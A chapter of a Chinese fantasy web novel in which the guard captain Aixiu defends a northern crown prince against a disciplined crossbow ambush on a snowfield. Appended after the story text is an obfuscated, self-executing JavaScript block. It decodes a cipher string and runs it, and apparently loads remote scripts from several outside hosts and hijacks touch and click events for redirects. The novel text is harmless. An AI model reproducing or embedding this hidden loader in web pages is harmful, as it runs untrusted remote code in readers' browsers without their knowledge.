第十八章 春之霾(二)(1 / 2)

离开申得弗后,埃修原本打算在芬布雷平原上再度拜访一次伊凡勒斯子爵,尽管老人未必会给他正面的答复,但任何消极的反应都可能是微妙的讯息,哪怕是闭门不见也会为埃修留下推断的空间。然而芬布雷堡的位置偏离大路实在太远,那作为临时的护卫队长,埃修并不能随意离开队伍,更不能擅自将北境的王储带领至曾经质疑国王王位合法性的人面前,否则会招致极大的争议。埃修无奈只能打消了这个念头。反而是普鲁托尔在穿越芬布雷平原的时候无意中提及到了伊凡勒斯子爵的坐骑“凛风”,埃修旁敲侧击地问了几句,尽管普鲁托尔为埃修难得的开口感到精细,但遗憾的是,他与伊凡勒斯子爵并没有什么交集,只是想近距离地观摩一下那匹寿命极其悠长、单凭嘶鸣就能勒止群马的神骏。

才踏进芬布雷平原,埃修便碰上了几支打着苍云猎鹰旗的队伍,自然是隶属于伊凡勒斯家族的部队。他们与埃修共行了一段距离,直到接近亚历克西斯公爵的辖区才调头离去。在瑞恩近郊短暂地休整补给后,队伍便进入了瓦尔雪原。盗匪从这里开始显著地密集起来,佣兵也出没得愈发频繁,往往是每走出一段距离就有厮杀的声音从不远处的雪坡后面传来。只要不是发生在眼皮底下,埃修并不会强行插手。然而在深入雪原的腹地以后,那些厮杀声反而消失了,雪原上一片空旷死寂的颜色。埃修一开始还不以为意,但当道路延伸至两道坡度陡峭的雪坡之间时,他才生出了警意。此处的地形简直是为了埋伏而设计的,雪坡后面是成林的龙牙松,能供一支规模不大的部队轻易地藏身,只要有充足的远程火力便能居高临下地发动打击,还有树木当天然的掩体。而又因为雪坡斜度很高,踏雪攀登颇有难度,因此受埋伏的一方只能在道路中受挨打的窝囊气。埃修与雷恩曾经在穿越此处的时候遭受过一波不像样的伏击,好在两人皆是轻骑,稍一提速便立刻将第一波来袭的箭雨甩在马后。然而当下队伍中大多是重甲的步兵,还有一辆负载沉重的马车,行军速度不堪入目。但埃修虽然有所警惕,但并不如何重视,寻常盗匪的箭矢,别说射穿正规部队的铠甲了,能不能在铠甲表面上留下划痕都存疑,因此埃修也只是收缩了队型,将铁卫聚拢在马车周围。

袭击来得出乎预料,没有任何讯号,纷乱的箭矢已经伴随着尖锐的破空声降临至马车的上空。众多披甲的人自雪坡顶端冒出,居高临下地朝埃修一行人射击。但护卫队的成员到底是格雷戈里四世旗下的精锐,在听到箭羽破空声的时候,不需要埃修指挥,铁卫与龙骑士已经自发地架起盾牌,立在马车所有可能的死角之前。拉车的驮马惨嘶一声倒下,而后那些备用的马匹也相继被射成刺猬——这伙伏兵分工明确,北坡的人负责朝马车射击压制卫队,南坡的人则射杀马匹。埃修并没有携带盾牌,他跳下马背,接连地腾挪,顺手从半空中抓了两根箭矢,找准机会反手回敬掷杀北坡上的两人。在他所处的位置被一波迅猛的箭雨覆盖前,埃修已经看清了两侧雪坡上伏兵井然的阵型,立即意识到这伙人绝非寻常的盗匪。

埃修一个飞扑,顺势从一具千疮百孔的战马尸体上抽出一面备用的盾牌,而后一路翻滚到马车边遮挡箭雨。密集而沉重的震感透过盾牌反馈到小臂上,埃修的臂膀都微微发抖。对方使用的弓弩出乎意料地强劲,一直都在对下方进行密集的压制,却不冲下雪坡肉搏。埃修绕着马车转了一圈,娴熟地转动盾牌接应其他人,同时也大致摸清了伏兵的规模:南北方向约莫各自盘踞了五十人,清一色披着轻盈链铠,装备重弩,他们面前的雪地上则是插满了弩匣。

“北境的勇士,跟随我冲锋!”普鲁托尔高喊一声,从车厢中跳出来,他已经换上了铁卫军的甲胄,左手持盾,右手握斧。他才一露头便招致了南北伏兵的集火,如果不是埃修见势不妙硬把他拽下马车,两边又有铁卫拼死来护,否则普鲁托尔极有可能要步那些骏马的后尘。

“这伙人纪律非常严明,战术执行力很高,不可能是瓦尔雪原上的盗匪,如果不是其他国家的正规军,那就是顶尖的佣兵部队。这是一波有预谋的、针对殿下的伏击。”埃修用两只手撑起盾牌,防御着来自正前方的箭矢,但是已经有箭头开始突破盾牌的夹层。

“您是超一流水准的武者,破局应该不难。”普鲁托尔转动着手里的短斧,他也知道这伙伏兵是冲着自己来的,原因无他,自他露面开始,箭矢基本就落在他的周围。

“杀光他们没有难度,”埃修回答,“但在这期间我无法护卫殿下周全。”

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();